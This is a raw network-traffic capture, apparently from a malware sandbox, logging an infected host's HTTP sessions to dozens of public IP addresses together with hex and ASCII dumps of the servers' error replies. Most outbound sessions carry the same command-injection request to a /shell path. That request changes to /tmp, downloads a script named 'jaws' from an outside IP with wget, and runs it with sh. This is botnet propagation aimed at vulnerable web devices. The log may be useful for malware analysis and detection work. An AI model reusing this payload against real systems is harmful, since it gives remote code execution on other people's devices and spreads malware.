Jan 2, 2024 06:25:19.320478916 CET	504	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:19 GMT Server: Apache/2.4.38 (Debian) Content-Length: 310 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 64 65 62 69 61 6e 2e 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at debian.example.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	52970	164.132.227.171	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.078205109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	59120	186.39.8.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.095834017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.369797945 CET	424	IN	Data Raw: 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 63 72 6f 5f 68 74 74 70 64 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 Data Ascii: 157.90.250.90/jaws;sh+/tmp/jaws 400 Bad RequestServer: micro_httpdDate: Tue, 02 Jan 2024 05:25:19 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlContent-Security-Policy: default-src 'self'; frame-an

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	52468	185.114.245.251	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.107883930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.392081022 CET	336	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Tue, 02 Jan 2024 05:25:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	60062	197.26.86.85	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.114867926 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	40728	156.234.219.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.115031004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.406645060 CET	399	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:19 GMT Server: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	48996	121.4.183.144	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.173099041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.492388010 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:19 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	58694	68.233.96.132	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.392966986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.762799025 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	43110	35.242.176.14	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.012628078 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	53570	35.187.108.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.019391060 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.254209042 CET	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Tue, 02 Jan 2024 05:25:21 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	51570	90.79.11.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.019509077 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.257440090 CET	499	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:21 GMT Server: Apache/2.4.56 (Raspbian) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Raspbian) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	57904	188.166.210.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.187951088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.594156027 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:25:21 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	51318	172.98.133.46	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.231178045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.449568987 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Tue, 02 Jan 2024 05:25:16 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	35934	52.29.37.58	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.265685081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.513478994 CET	292	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:21 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	39796	141.219.107.122	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.445297956 CET	6	OUT	Data Raw: 47 45 54 Data Ascii: GET

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	55884	103.131.18.243	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.511351109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.834887981 CET	514	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 320 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 70 65 65 64 74 65 73 74 2d 62 65 6b 61 73 69 2e 67 6d 64 70 2e 6e 65 74 2e 69 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at speedtest-bekasi.gmdp.net.id Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	58572	13.250.65.92	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.541316986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.887864113 CET	433	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:21 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	55492	69.192.43.58	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:21.993011951 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:22.144402027 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:22 GMT Date: Tue, 02 Jan 2024 05:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 65 61 34 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 32 32 26 23 34 36 3b 64 38 62 31 34 37 63 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8ea4217.1704173122.d8b147c0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	35480	54.87.227.164	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.000530005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:22.159405947 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:25:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	47390	216.137.174.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.016894102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:22.192600012 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 11:24:45 GMT Server: Apache X-Frame-Options: DENY Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 